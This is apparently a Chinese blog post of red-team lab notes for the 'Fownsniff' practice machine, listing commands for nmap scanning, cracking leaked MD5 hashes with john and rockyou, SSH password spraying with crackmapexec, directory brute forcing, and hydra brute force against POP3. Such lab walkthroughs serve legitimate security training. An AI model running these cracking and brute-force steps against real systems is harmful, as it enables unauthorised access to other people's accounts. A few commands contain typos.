Fownsniff

最新推荐文章于 2024-11-05 00:01:17 发布

辉小鱼~

最新推荐文章于 2024-11-05 00:01:17 发布

阅读量47

点赞数

分类专栏：红队笔记专栏文章标签： linux 安全 Linux 网络安全

本文链接：https://blog.csdn.net/weixin_61427044/article/details/131498988

版权

红队笔记专栏专栏收录该内容

10 篇文章 1 订阅

订阅专栏

本文详细介绍了使用Fownsniff进行网络扫描，包括C段扫描、端口扫描、详细信息扫描以及利用John进行MD5哈希破解的过程。此外，还涉及了目录爆破、Hydra工具对POP3服务的验证以及如何与POP3服务器交互进行登录爆破。

摘要由CSDN通过智能技术生成

靶机精讲之 Fownsniff

[22,80,110,140]
# C段
sudo nmap -sn 192.168.95.0/24

# 端口扫描
sudo nmap -min-rate 10000 -p- 192.168.95.135

# 详细信息扫描
sudo nmap -sT -sV -sC -O -p22,80,110,143 192.168.95.135

# 保存信息收集的内容
sudo vom leaked_data
cat leaked_data
# 哈希破解
hash-identifier xxxxxxxxxx
# john破解[MD5]
sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt leaked_data

# 破解
crackmapexec ssh 192.168.95.135 -u users -p passwords --continue-on-success

# 目录爆破
sudo gobuster dir -u http://192.168.95.135 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

# hydra查看pop3服务
hydra -L users -P passwords -f 192.168.95.135 pop3
# 与pop3交互
sudo nc 192.168.95.135 110